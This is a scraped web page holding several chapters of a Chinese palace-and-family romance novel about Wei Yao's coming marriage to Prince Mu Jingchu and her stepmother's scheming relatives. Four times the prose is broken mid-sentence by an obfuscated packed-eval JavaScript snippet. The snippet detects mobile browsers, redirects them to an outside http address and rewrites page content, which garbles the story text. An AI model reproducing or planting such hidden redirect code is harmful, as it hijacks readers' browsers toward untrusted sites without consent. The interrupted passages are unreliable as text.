毕竟，贺崇深得帝王宠信器重，其实也是许多人梦寐以求的高枝儿。但凡换个稍微贪心点的，白捡了这么个便宜亲戚，即使没有血缘之亲，怕也会设法讨对方欢心，从而添一份倚仗。 她倒巴不得跟贺家割裂似的。 才刚进京的闺中女子，没能耐看清朝堂局势。难不成是跟贺家早就有过节？抑或贺氏私下里待她过于苛刻，嘴脸比他打听到的还难看？ 穆景初心底的疑惑一闪而过，也没急着深究，只让魏窈品尝菜色。 菜肴出自名厨，味道极佳。 两人话不多，就着糕点吃了个七分饱，穆景初便搁下筷子，将面前那碗香浓的肉汤喝了。 “明日我出京办差，要在外耽搁一阵子，不知几时才能回来。”茶足饭抱，他的神情也添了几分暖色，“知白留给你，若要外出，或有急事，只管找他护卫。” 轻描淡写的话，却让魏窈眼底微亮。 这是变着法儿给她添侍卫？ 人都还没过门，就能沾上穆景初的光，这份约定的婚事上，穆景初做得真够意思！ 魏窈先前还担心贺家贼心不死，在她出阁前横生枝节呢，若有穆景初的人在，她便无需忌惮贺云章那等图谋不轨之徒了。 欢喜之下，魏窈莞尔生笑，“多谢殿下费心！这阵子若非必要，我会安分留在家中，不去招惹麻烦。若有事外出，就厚着脸叨扰了，只不过知白是……” “带你过来那个。”穆景初瞧着花丛间端坐的少女，只觉这一笑若春光初照，眉眼婉丽，神情明媚，令人赏心悦目。 这让穆景初心情好了不少。 他这趟出京，要办的差事其实有些糟心。 先前昭明帝让儿孙们以帝王千秋节的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195972|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺礼为名，提出要建道观后，朝堂上反对的声音果然被压了下去。之后分派差事，虽说是皇子们的心意，因是皇家宫苑，到底还需有司去办，贺崇还自请出力督办诸事。 谁知事情安排下去没多久，就起了点风波—— 建道观要选用上等珍贵木材，贺崇派去的人为逢迎圣意，做事时用力过头，惹得民怨甚重。当地官员一纸奏章弹劾上来，直指贺崇约束下属不力等诸多罪行。 昭明帝嘴上虽出言斥责，其实也颇喜欢贺崇选中的木材，又怕延误工期、耽搁他求长生，便让刚跟贺家沾了点亲的穆景初去查办此事。 其实就是给贺崇收拾烂摊子。 穆景初原也有意揪出贺崇深藏的尾巴，便接了这差事。 念及此行西南路途遥远，归期未定，为免魏窈在京中出岔子，才有了今晚这顿饭。因先前查探魏窈底细时，正巧见过她的生辰，想着干巴巴的一顿饭毕竟寡淡，他又不擅取悦女子、亦不知魏窈喜好，猜测姑娘家都喜欢花，便吩咐人备了这些。 而今看来，魏窈还挺喜欢这满室鲜花。 穆景初自觉满意，交代清楚后，便欲起身离去。 临行前，瞧她站在花丛间施礼送行，指尖偷偷去碰身旁的一株海棠，便又道：“这些花放着可惜，若是喜欢，自管挑了带走。” 说罢，自管下楼策马走了。 …… 魏窈回府时，拉了满满一马车的花。 门口管事瞧见的时候都惊呆了。 魏窈也不遮掩，唤来一堆婆子帮她将花盆和水养的花束搬到浮香院中。 这动静着实有点大，翌日清早魏窈去给贺氏问安的时候，还被魏淑云阴阳怪气地道：“就算得了好亲事，要跟人夸耀，也不必那样浮夸吧！那么些新鲜的花，还有这时节见不着的，得费多少银钱！” 她藏了几分嫉妒，说话也酸溜溜的，“父亲那点俸禄，哪够你这样花的。” 这是嘲讽她吃住都依赖贺家呢。 魏窈听多了这种话，也懒得生气，只淡声道：“我平素花销不多，也不会买这等华而不实的东西。那些是肃郡王殿下买的，我想着浪费了实在可惜，就带回来养着，也能赏心悦目。” 贺氏闻言竟自皱眉，“不是说你那顾妈妈有事么，怎么又扯上肃郡王？” “原是去看顾妈妈的，是他设宴相邀，叫我过去叮嘱几句话。”魏窈正色，不去理会欲言又止的魏淑云，只向贺氏道：“皇上赐婚是正经事，肃郡王殿下也颇重视。他担心旁人不知好歹、横生枝节，还叮嘱我有事尽管去王府，他会安排人处置。” 这话意有所指，令贺氏脸色微变。 魏窈情知贺氏欺软怕硬，索性把话说得更严重些，“这赐婚来得突然，我也不知缘故。听肃郡王那意思，皇上和王府自有考量。先前京城里谣言纷纷，肃郡王还叮嘱我安心在家中待嫁，那些是非之地，能不去就不去。” 她说得还算婉转，听在贺氏耳中，却跟刀子刮过似的。 谣言从何而起？是非之地是哪里？ 这话就差指着她鼻子骂了。 贺氏想斥责，却又理亏心绪，加上确实摸不准皇上赐婚背后的考量，只能捏着鼻子忍了，冷声道：“你要去哪里，谁还能管得着不成。” 说着，竟自扭脸起身，带着魏淑云到里屋去了。 魏窈三番两次被她肆意算计，原也没打算继续在她跟前隐忍退让，方才那番话意在告诫，让她别再打歪主意。只不过贺氏仗势欺人惯了，未必真的会心存忌惮，就此收敛。 为免往后再出意外，魏窈斟酌过后，还是在晚间敲开了魏芝翰的书房。 24. 024 戌时将尽，灯烛昏黄。 魏芝翰这两日公事稍有些忙，今日回来得晚，用过饭后就扑进书房，还在琢磨一份文书。 换在从前，这种时候他定不会让魏窈打扰。 不过今时不同往日。 他瞧着女儿缓步走进书房，想起先前碰见肃郡王时，那位还算和善地冲他点点头，猜得那位殿下应该挺满意自家姑娘，脸色也自和悦起来。 “方才吃饭时，淑云说你昨日去见肃郡王了？”他问。 ——其实当时魏淑云用的是“私会”的字眼，状告魏窈行事轻挑，不顾颜面，挑唆着让魏芝翰严加约束。 魏芝翰当时敷衍了两句，心底却也明白，以肃郡王的性子，绝不会这等轻率，背后恐怕另有缘故。 果然见魏窈屈膝为礼，温声道：“父亲明鉴，昨日肃郡王召我过去，是有事叮嘱。” “怎么说？”魏芝翰搁下了笔。 魏窈不急着回答，反而抬眉问道：“皇上下旨那日，后院里发生了件怪事，父亲可曾听说？” 她瞧着魏芝翰脸上的疑惑，便知这事是被贺氏给瞒住了。不由摇头失笑，叹道：“父亲，女儿说话或有僭越之处，还清父亲见谅。咱们这个院子，吃穿用度都是夫人打理，女儿受其恩惠，固然该感激，可有些事，夫人确实做得过于卑劣了。” 卑劣二字，令魏芝翰稍露愠色。 魏窈不疾不徐“那日，就在宣旨之前，夫人打发我去后院取一件插屏。走到假山那里时，女儿却被贺云章无故拽入山洞之中，说了许多无礼冒犯的话，甚至……” 她故意顿了顿，看到魏芝翰的脸色渐渐变青。 “他轻薄你了？” 回京后头一次，魏窈听到他在提起贺家时有了咬牙切齿的意思。 她点了点头，“差一点。” 这话撞进魏芝翰的耳朵里，直唬得他心惊肉跳。 贺云章中意魏窈，贺氏和崔氏等人有意撮合，这事儿他是知道的，先前贺氏明里暗里提过好多次。乃至先前闹出丑闻的荷花宴上，也是贺云章那兔崽子跟他姑姑合谋，妄图以非礼之举定下终身。 只是他没想到，贺云章色胆包天，竟敢在他魏家的地盘上闹事，妄图轻薄魏家的女儿。 不，应该说，是贺氏！ 她那个人，为了达到目的，向来不择手段。当年的他如此，而今的魏窈…… 魏芝翰但凡设想当时的情形，便觉得后怕——皇帝赐婚的圣旨就在厅堂上供着，后院里，贺云章却……若丑事成真，他还有何面目见人！他还如何向那道圣旨，向肃郡王和皇上交代！ 双拳紧握，青筋渐起，他猛地抓起茶盏，重重砸在地上。 脆响中青瓷破碎，茶水横溢。 魏窈静静站在原地，任由碎瓷片溅在裙角，续道：“当时女儿愤怒之极，扇了贺云章一巴掌，他脸上的青痕，或许到如今都还没消。父亲若是不信，或是查问那日伺候他的人，或是去贺家亲眼印证，女儿绝没说谎。” “这贱人！”魏芝翰拍案，也不知是在骂谁。 多年夫妻，他早已打定主意将旧事埋藏，好生跟着贺家往前走，跟贺氏也是人尽皆知的恩爱。然而此刻，想到贺氏姑侄密谋时的肆无忌惮，他还是气得肝疼，粗重喘息着压下愤怒，抬脚就想去贺氏跟前质问个明白。 脚步由重至轻，由疾趋缓，最终在书房门口站定。 魏窈瞧着那道背影，哑然失笑。 她就知道，即使再愤怒、再怨恨，当身家和前程都被绑在贺家船上时，魏芝翰的选择最终都是那样。 心底的酸涩瞬息即逝，魏窈往前两步，主动给他递个台阶，“事情既已过去，父亲就算找夫人对质又能如何呢？无非再生争执、家宅不安而已。女儿提起此事，原也不是为起口角，而是想提醒父亲，往后当好生防范。” 几步之外，魏芝翰转过身来。 魏窈抬眉续道：“昨日肃郡王召我过去，是将他身边的侍卫留给了我，以便我出门时严加护卫。皇家做事的路数，父亲想必比我更明白，那日后院的事，王府是否有所察觉，女儿无从知晓。但若此事重演，父亲……” 她走近魏芝翰跟前，一字一句道：“那就是欺君之罪，咱们谁都逃不掉。” 长久的沉默，魏芝翰的脸色且青且红。 半晌，他才长叹了一声，“先前是我疏忽，险些耽误了你。往后，家宅门户之内，我会好生防范。你放心，这个家终究是姓魏，旁的事我不深究，这件事上，无论如何我都会让她安分。” “多谢父亲体谅。”魏窈既得了他的承诺，再稍稍逗留后，便寻机告退。 出得书房，外头新月渐明。 魏窈微伸双臂，任由晚风拂过彩袖撩动衣裙，深深吸了口气。 魏芝翰能不能说到做到，魏窈其实没有多少把握。但既已言明要害，贺氏再怎么嚣张，头上还压着个贺崇。 那位倚赖帝王而生，最会趋利避害。 为区区女色而违抗圣旨？明知帝王亲自赐婚，还去招惹一位郡王侧妃？ 贺崇若得知姑侄俩再有歹心，纵然不至于朝贺氏下狠手，却能把贺云章那厮的腿给打断。 …… 后面的日子，魏窈耳根清净了许多。 贺氏显然是受了敲打，虽说仍旧拿冷脸待魏窈，态度却比先前和软了许多。就连魏淑云，从前仗着长辈的宠爱叽叽喳喳，没事总要嘲讽魏窈两句，如今竟也学会了闭嘴，偶尔忍不住蹦出几个字，也会及时打住。 浮香院外添了人手，都是魏芝翰亲自选的。 贺氏每尝去娘家的时候，也不再喊魏窈一道去了，只将魏淑云带在身边，将心思都扑在魏淑云跟状元郎的婚事上。 魏窈少了那些搅扰，便可安心待嫁，得空时就去顾顺娘那里坐坐—— 婚礼的事由礼部帮忙操持，连贺氏这个主母都成了摆设，需要商量的事多是由魏芝翰拍板。嫁衣都是礼部按规制安排，无需魏窈亲手去绣，她只需准备些见面之礼即可，需要操心的事并不多。 腾出来的大片空暇，都能用在顾顺娘那里。 顺记小馆开张时便颇得邻里捧场，如今时日渐长，渐渐也打出了名声。 论口味，顾顺娘的厨艺没得挑，哪怕是寻常菜色，用着有同样的食材，她也能做得比别家入味几分。论价钱，顺记小馆的租金低，饭菜每顿便宜稍许，次数多了是笔不小的数目，自然更能吸引常住在近处的客人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200339|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>更勿论顾顺娘做事活泛，非但大堂收拾得整理干净，连后厨都开了一扇窗，能让客人看清里头的洁净模样。众人瞧在眼里，也更能放心地将一日三餐托付于她。 渐渐的，顺记小馆真个如顾顺娘所想的那样成了附近人家的后厨，顾顺娘还给起了个诨名儿叫“邻家食堂”。 谁家没空做饭，或是懒得做饭了，就近来这里买几样菜，又省心又方便。 生意日渐红火，客人多了，非但要添菜色以飨其口味，每样菜的分量也得翻番。 顾顺娘和孙大姐忙不过来，这阵子又张罗着招了两位厨娘和一个打杂的，依着顾顺娘的指点专管在后厨做饭，由顾顺娘亲自盯着、授以诀窍，做出来的味道也是没的说。 除了后厨，送饭也成了件顶要紧的事。 “前儿去买菜的时候，碰见了周记绸缎铺的东家，他竟然也听过咱们家的名声。”顾顺娘手底下拨着算盘，跟魏窈闲聊，“他上回特地让人买了尝过，觉得咱们饭菜做得不错，寻常自家人吃就很好。只是离得远，每回都得让伙计跑腿，次数多了也费事。” “他家跟咱们隔着好几条街吧？就算是精干伙计，走路也得两炷香。”魏窈坐在她对面，磕着蜜饯。 顾顺娘点头，“可不是么！这种客人怕是还有不少呢。” 京城里市肆繁荣，远胜前朝，有不少靠小买卖为生的人家。像周记这种财力稍厚些的，能让伙计丫鬟跑腿，也有简省些的，只能自己跑腿。 可整日劳累后还得大老远去买饭，谁又能天天迈得动脚？ 难免让一些人打退堂鼓。 顾顺娘是个生意人，焉能不懂方便客人的道理？ “我是想着，要做长远生意，务必留住老主顾，更不能因这种琐事失了生意。别处有索唤，咱们虽说开张的日子不长，也该安排起来了。只是街上那些闲汉虽能跑腿，到底没法放心。” “是啊，毕竟是吃食，但凡出个岔子吃出什么事儿，那是有损咱们招牌的。”魏窈瞥了眼外头拎着食盒排起队的客人，低声道：“咱们生意好，万一有人眼红动歪心思，难免麻烦。倒不如自家养个跑腿的，专管来回送饭。” “你也这样想？”顾顺娘抬眉，笑睇她一眼。 魏窈顺手给她喂了粒蜜饯，“顾姨想必已有主意了？” 顾顺娘索性停下动作，将账本推到旁边，屈指轻扣桌面，“咱们专门养个跑腿的，非但能来回送饭，还能做些别的事。” 她从旁边厚厚的纸堆里抽出一张，摆在魏窈面前，“我打算专门给她们裁剪几套衣裳，上头有咱们小馆的徽记，随身带上每月的菜单。到时候走街串巷送饭食，不就把咱们顺记小馆的名声传扬出去了么？若有人打听，就递上菜单，没准就能招来的新的客人。” 待小馆的名声广为传播，届时要开分店，能比白手起家轻松许多。 甚至客商往来间，将名声带出京城外也说不准。 这计划还远，顾顺娘暂且没跟魏窈说，只将统一裁剪衣裳的事说了，“不止跑腿的，就连店里这几个，也给她们裁剪相同样式的衣裳。她们能省些衣裳钱，旁人瞧着整洁干净，也更添几分信赖。” “这主意好，利人利己！”魏窈当即同意。 25. 025 娘儿两个商议既定，说干就干。 魏窈在乡下时曾跟着沈歌识字读书，也学过几天的书画，前世嫁进贺家后无所事事，这上头的技艺更是突飞猛进。如今要设计个漂亮且让人印象深刻的徽记，自是当仁不让，连同衣裳样式和材质都操持起来。 顾顺娘则忙着张罗跑腿的伙计。 其中一名是街坊的女儿吴六娘，打小走街串巷的玩耍，对这一带极为熟悉，是眼下最得力的帮手。 另一名叫韩金铃，是顾顺娘那日去福田院时收留的。 她原是一家武馆的女儿，后来家里遭了灾，双亲故去家业凋敝，她又没有亲友能投靠，只能自己谋个生路。她原也有几分胆色，想着京城是天子脚下，自身既无牵无挂，不如进京闯一闯。 只是手头拮据，她一路或是卖艺或是做点苦力，攒了些银钱进京。奈何京城里开销大，她一时间没寻到合适的生计，无钱住店，恰好福田院里有名额空出来，便先暂住一阵。 顾顺娘瞧她心性纯良，人又机灵，且武馆长大的姑娘有力气有身手，便招了过来。 如今便让吴六娘和韩金铃结伴去送饭菜，一个长于认路，一个则身强体健能拿东西，且身手不错不惧宵小，更可叫人放心。 这般安排下去，生意渐渐兴隆起来，每日的进账更是日益丰厚。 到十月底，顾顺娘噼里啪啦拨完算盘，这个月收入竟有近三百两，刨除各项开支后仍有百余两的盈余，比刚开张时翻了几番。 魏窈翻着账目，直是啧啧称叹，“早知道开食店这么赚，当初在邵州就该做这买卖，可比浆洗缝补轻省多了！当然，这都是我顾姨有手艺有能耐，别家生意可比咱们差得远！” “少跟我拍马屁。”顾顺娘嘴上嫌弃，心里却笑得乐呵，“当初我是奴籍，你又小，有沈家的势罩着安生过日子，总比在外面硬闯的强。” 就像如今，若不是沈歌这个武将时常过来晃晃，这样异军突起生意红火的食店，八成是要遭人嫉妒横生波澜的。 这道理魏窈当然明白，她伏在顾顺娘肩上，低声道：“我是心疼您呀，当初真是吃了太多苦。” 顾顺娘动作一顿，想起原主的忍耐辛劳，也自怜惜感叹。 便拍了拍魏窈的手，“好在如今都熬过来了。你又能嫁进王府，许多事上有了新的指望，该高兴才是。” 若那个辛劳可怜的女人瞧见魏窈而今的欢悦笑颜，也能宽慰些吧？ 顾顺娘抚着魏窈的手臂，将案头堆着的银子放进旁边的木箱，“小馆儿赚的银钱都在这里，你要花销自管来取，剩下的咱们就攒着。等过几个月，我将她们教得熟练些了，生意的事不用天天盯着，便能腾出手来。” “到时候，咱们就想法子找你母亲。” “但愿她还好好的。” 魏窈点点头，脑袋藏在顾顺娘的颈窝里，强忍住眼底的潮意，微哑道：“顾姨，你待我真好。” …… 魏家的涵秋馆里，魏淑云这会儿也正趴在贺氏身上撒娇。 “再过半个月，我就要嫁进许家了。听说许约将她母亲接到京城里，眼瞧着是要长住下来。”她为这门婚事欢喜了几个月，如今终于隐隐生出点忧心来，“到时候，她会不会摆婆母的架子，故意为难我？” 贺氏笑着帮她理丝线，“嫁衣还没绣好，这会儿后悔还来得及。” “娘！”魏淑云低嗔，又有些泄气地靠在贺氏身上，“我前晌去寺里进香祈愿，正好碰见其他人来许愿，也是要出嫁的姑娘。我还听见她低声念叨呢，说盼着婆婆慈爱和善，别像她表姐家婆婆那样蛮横霸道！” “许夫人是明理人，不会蛮横。”贺氏笑着宽慰，“何况这是京城，有你外祖父撑腰，她不敢为难你。” “对，他们还仰仗外祖父呢！等将来……”魏淑云说到此处，赶忙捂住嘴。 贺氏诧异，“怎么了？” “许的愿不能说出来，不然就不灵啦！” 魏淑云神秘兮兮瞧了贺氏一眼，想到许约的前程时，眼底的忧色终于被期盼所替代。 成婚之后，她定要催着许约好生用功，多跟外祖父历练。等他日状元郎在外祖父的扶持下青云直上，入阁拜相，肃郡王又算什么呢？ 皇孙固然身份尊贵，可肃郡王的父亲惠王爷不良于行，必定难以承继大统。届时，不管是梁王爷还是康王爷登基，他都只是个旁支，哪能跟实权在握的重臣相较？即便是如今的梁王，在韩相跟前，听说也是十分客气的呢。 魏淑云瞧着头顶的撒花帐子，一时间浮想联翩。 到十一月中旬，她便怀着这样的期许，带了份厚厚的嫁妆，欢欢喜喜嫁进了许家。 三日后新婚夫妇回门，魏淑云挽着才被贺崇着意举荐谋了个实权差事的许约，志得意满之态溢于言表。 而魏家在办完这桩喜事之后，便开始陆续有礼部的人过来筹备魏窈跟穆景初的婚事——两人的婚事定在了腊月十二，赶在过年之前，算是喜上添喜。 魏窈虽无需亲绣嫁衣，到底也得筹备起来。 到腊月初五这日，趁着天气晴好，便带上些银钱往城外的碧螺寺去进香。 碧螺寺地处京西郊外，虽非名胜古寺，因里面栽有两株很漂亮的雌雄银杏，长成了连理枝的模样，便格外得女孩子钟爱。 京中习俗，女子出嫁之前，多半会去碧螺寺进个香，以祈姻缘和顺。 魏窈其实也不知那里是否灵验，毕竟前世嫁给贺云章时，她也曾怀着能让前路好转的期许，在碧螺寺许过愿望，盼着夫妻和睦安稳一生。 而结局刻骨铭心。 如今再去碧螺寺进香，魏窈也只是照章办事罢了。 若不然，万一让梁王府有心之人得知此事，以为她对这婚事不够看重，岂非自添烦恼？ 深冬的日头慵懒清淡，马车晃晃悠悠的驶过长街，在巳时将尽时抵达碧螺寺。 魏窈带着青穂和绿禾在佛前进了香，怀揣微渺的希望许愿之后，又去知事僧那里捐了些香油钱。 彼时正当晌午，寺里安排了午斋。因魏窈捐得不少，且身边有两个伶俐的丫鬟服侍，瞧着像是个官宦人家的千金，不好跟旁人挤在一处，便将她引到后院的客房之中，既可安静用斋，过后还能稍歇片刻。 斋饭倒是很好吃，清淡却不失风味，三个人半点儿没浪费，吃了个干干净净。 青穂收好碗碟，便欲送回斋堂。 才刚拉开门，就见门外站着个高挑的人影，她还以为是寺里的知事僧，才要开口，一抬眼瞧见那人面容，差点惊呼出来。 对面贺云章一把捂住她嘴巴，趁着这间隙挤进门里，低声道：“别喊，是我！” 正是你才该喊呢！ 青穂心下大骇，瞪着眼睛呜呜两声，抬手就想抓他的脸。 贺云章微微后仰躲过这袭击，接住脱手的木盘，压着声音威胁道：“再闹，让人知道了，你家姑娘名声就没了，还会带累婚事！” 这招显然很奏效，青穂霎时停下动作。 贺云章趁机抬步绕进里间，迎面撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但上回剖白后换来的是巴掌，他情知倾诉未必能打动她，只能晓以利害，“王府虽好，可侧妃毕竟是妾侍。他日肃郡王另娶高门贵女做了王妃，你难道甘心与人共侍一夫，为人侧室吗？” “表妹，我虽没有王孙公子的身份，却对你满腔痴心。若你肯应了我，我便是豁出性命，也会设法三媒六聘地迎你为正妻，从此一心一意，余生都好好待你。” 那语气，真个是情真意切。 魏窈哂笑，“七日之后，便是我成婚之期。” “那又如何！”贺云章微抬声调，“这世间有来就有去，能嫁进去，也能走出来。只要你愿意，我定能设法让你毫发无损地走出王府。” “即便我已嫁过一次？” “我想迎娶你，从第一眼见到你就种了情根。不管发生过什么，只要你愿意，余生所有的光阴里，必定待你始终如一！”贺云章笃定道。 屋里片刻安静，青穂和绿禾被他这番话惊得目瞪口呆，魏窈瞧着他那副信誓旦旦的模样，最终挪开视线。 “我不愿意，无论今日还是他日，这辈子都不会愿意。” “你可以走了。”她下了逐客令。 贺云章哪会死心，顾不得青穂和绿禾的阻拦，就想抬步上前。 魏窈原就对他无甚耐心，此刻瞧他衣冠楚楚地不干人事，便抬高了声音，“知白！” 下一瞬，不知从何处飘来的身影破门而入，在贺云章反应过来之前，一脚将他踹在地上。 玉冠重重撞在柜角，木裂玉碎，银线绣成的锦衣蹭过地面，发出裂帛之声。身材高挑、自诩清雅的男人摔趴在地上，眼底分明涌起愤怒尴尬，挣扎着想爬起来，却被知白轻易按在地上。 魏窈侧头，声音冷淡，“今日是你唐突失礼在先，这一顿就算教训，往后但请好自为之！七尺男儿，何须如此！” 贺云章在人前一贯是高门贵公子的做派，自知此刻过于狼狈丢脸，听着她毫不掩饰的嘲讽，没敢去看魏窈，只闷着头握紧双拳。 魏窈向知白递个眼色，带青穂和绿禾快步走出门去，徒留身后男人竭力压住的痛呼。 26. 026 当天晚上，贺云章回家时鼻青脸肿，身上亦有颇多伤处。 崔氏得知后吓了一跳，赶忙让人请郎中医治。待郎中退下，她一面心疼得落泪，一面愤愤道：“到底是谁下这样的狠手，把人打成这样，定要好生教训才是！” “是我惹事得罪人在先，不必计较。”贺云章少见地没说要报复，甚至连凶手都不说。 崔氏问不出来，便探他今日行程。 由碧螺寺三个字猜出缘故之后，崔氏愈发恼怒，坐在儿子榻边连声数落，直言魏窈即将嫁为人妇，天下女子何其多，实在无需为她生事。 贺云章不吭声，直到崔氏说要挑几个美貌仆婢先给他用，回头物色好人家时，才睁开了眼睛。 “她已经在我心里扎了根，此生定要娶她为妻。母亲不必多说，更不必乱张罗。”平静的声音，全不似从前的任性之语。 崔氏听得眼皮直跳，“怎么着，御赐的婚事，难道你去抢亲不成？那可是抗旨！可别再给家里添乱了，小心你祖父知道打断你的腿！” “抢亲是抗旨，我不会犯险。”贺云章盯着窗外，就在崔氏摸着胸脯松了口气时，续道：“可若穆景初死了呢？” 凤子龙孙，生下来就会遭忌惮。 穆景初膝下养着先皇太孙留下的遗腹子，又曾带兵打仗屡立战功，连皇上都曾忌惮疏远过，他不信盯着皇位的那人能够放心。 只要穆景初死了…… 这念头冒出来，贺云章几乎想立时去祖父的书房，问明形势后拿个主意。 崔氏却被他这话吓得跳了起来，一巴掌拍在他脑袋上，斥道：“你个糊涂东西，这是嫌活腻了找死么！穆景初什么人？沙场上真刀真枪打出来的！你在书院都闯不出个名堂，还痴心妄想去跟郡王较劲，趁早死了这条心！” 见贺云章不为所动，崔氏气得直瞪眼。 她很清楚儿子的底细，嘴巴上说得多么利害，能耐却是有限，说过的事最初还能有点干劲，却坚持不了太久。这点儿能耐，碰上穆景初就是个死！ 不自量力以卵击石，这种事听着实在吓人，崔氏生怕他在外信口胡说，赶紧拉着儿子，一叠声地开解劝阻。 贺云章却别过脸不肯听，全然无视崔氏吓得惨白的脸色。 街巷相隔的王府里，穆景初眼皮跳了跳，听知白禀报完今日碧螺寺里的情形后，脸色不是太好看。 贺崇那老贼狼心狗肺不仁不义，养出来的孙子倒像是个情种。 只可惜，用错了人。 他抬眸望向天际渐渐明亮的弦月，叮嘱知白，“派人守在魏家周围，不许这种人去打扰，务必保她安稳无虞。” 待七日后，她便可来到他身边。 穆景初站在灯烛昏黄的廊下，于冷冽夜风里，忽而生出些隐隐的期待。 …… 寒冬腊月里万物沉寂，日子过得便似格外快些。 魏窈进香过后，又跟着嬷嬷将先前学的皇家礼仪温习了两天，转眼之间便到了出嫁之期。 出阁前的那天，魏窈特地请了顾顺娘过来。 ——比起贺氏那位名义上的母亲，乃至魏芝翰那位并不亲厚的父亲，大婚之日魏窈真正想拜的，唯有将她拉扯大的顾顺娘。 时隔数月，如今的顾顺娘早已独立门户，将小馆经营得有声有色之余，也慢慢养出了练达气度。来到浮香院后，顾顺娘将明日婚礼的仪程和要用的东西核查了一遍，确保每处细节都稳妥停当，才肯歇下来。 魏窈瞧她这样，不由失笑，“原本请您过来是见证我出阁的，如今倒好，反要操心起来。” “这是人生大事儿，正该我多操心的！这是喜事儿，就是再忙上几天也不怕累。”顾顺娘喝着茶水，打量那套精工细绣的嫁衣，不免啧啧称叹，“皇家的东西果真不一样，这质地这绣工，也不知费了多少功夫，没一处不精致的。” “明儿你穿着这衣裳嫁出去，保准漂亮极了！” 她笑睇魏窈，视线扫过脸蛋儿腰身，几乎能想象她身穿嫁衣头戴凤冠时的惊艳模样，甚至想寻个画匠，将魏窈明日的姿容画下来。 那一定值得珍藏！ 顾顺娘笑呵呵地打量着那套贵重的服饰，待入夜后魏窈在青穂的服侍下去焚香沐浴，她便寻了个仆妇带路，往魏芝翰的书房里去。 书房的灯倒是亮着的。 仆妇远远瞥了眼映在窗户上的模糊人影，有些忐忑地提醒，“主君的书房寻常都是不许人轻易踏足的，就连两位姑娘都不能胡来。奴婢就送到这里了，您可千万当心些。” “放心，我只是有事请教，不会失礼。”顾顺娘拍拍她的肩，走至近处，请守在门外的小厮去通报。 少顷，小厮走出门来，请她进去。 顾顺娘挺了挺腰背，掀帘进去，瞧见站在长案后那道儒雅的身影时，依礼拜见。 魏芝翰正垂首在书桌上练字，此刻微抬了抬眼皮，瞧见那道曾经十分熟悉、却在十余年分别后变化极大的身影时，脑海里刻意压制的许多旧事倏然浮上心头。 笔尖颤了颤，原本写得极好的一个字败在了最后一笔，他不动声色地取白纸盖住，搁下了毛笔。 “你怎么来了？”他问得漫不经心。 顾顺娘抬目，毫不避讳地直直看向那张脸。 这男人着实生了副很好的样貌，年轻时出挑的姿容不必说，即便如今年近四十，那张脸也不见多少岁月痕迹。照旧是棱角分明，剑眉星目，就连身材都保持得很好，端的是丰神俊朗，器宇轩举。 想来这些年在贺家的扶持提携下，过得颇为顺意。 顾顺娘心下冷嗤，口中道：“深夜搅扰，是有件事情要问你。”她甚至连敬语都不肯用，只盯着他，沉声道：“还没忘了婉娘吧？” 被尘封的名字落在耳中，魏芝翰眸色一黯，亦看向了顾顺娘。 魏窈回京那日他将心思扑在女儿身上，没太留意这位顾妈妈，此刻重逢，他才敏锐地察觉，这女人跟从前截然不同。 彼时对主家那样温驯顺从，此刻却敢直视他这位朝堂官员，摆出如此无礼的态度。莫不是仗着养大了魏窈，以功臣自居，抑或摆脱奴籍身份后，自以为能靠着魏窈飞黄腾达了？ 魏芝翰皱了皱眉，“与你何干。” “自然与我有关。若不是我还惦记着她，这世间恐怕已经没人记得她了。”顾顺娘有意将魏窈撇清，往前走近几步，仍旧盯住魏芝翰的神色，“回京这么久，我虽没住在府里，却也听了不少消息。” “听说二姑娘比阿槿小不少，可我瞧着，像是没差几个月吧？” 魏芝翰眸色骤紧，“放肆！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213894|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只是好奇。”顾顺娘丝毫不理会他的恼怒，反而借此印证了心中猜测，“当初婉娘身怀六甲，你却时常大醉而归，丝毫不顾及她们母女。听说这位新夫人嫁进来后，你外放了好几年，莫不是怕婚前有孕的丑事被人得知，设法遮掩？” “滚出去！”魏芝翰这回是真的恼了，抄起手边的茶盏砸过去，却在愤怒之下失了准头，哐啷一声撞在墙上。 白瓷碎裂，茶水四溅。 顾顺娘笑了笑，“怎么，魏大人这是要发官威，打人了？就这么不敢面对婉娘，不敢面对当年的事？” 魏芝翰双拳紧握，被无礼顶撞后气得身体微抖，想起当年藏在心底、却最终黯然别离的爱侣时，到底没了继续斥责的底气。 他看着争锋相对的顾顺娘，忽而生出些忌惮，“阿槿嫁进王府，你觉得她有了倚仗，想歪曲当年的事情，怂恿她与我反目不成？” 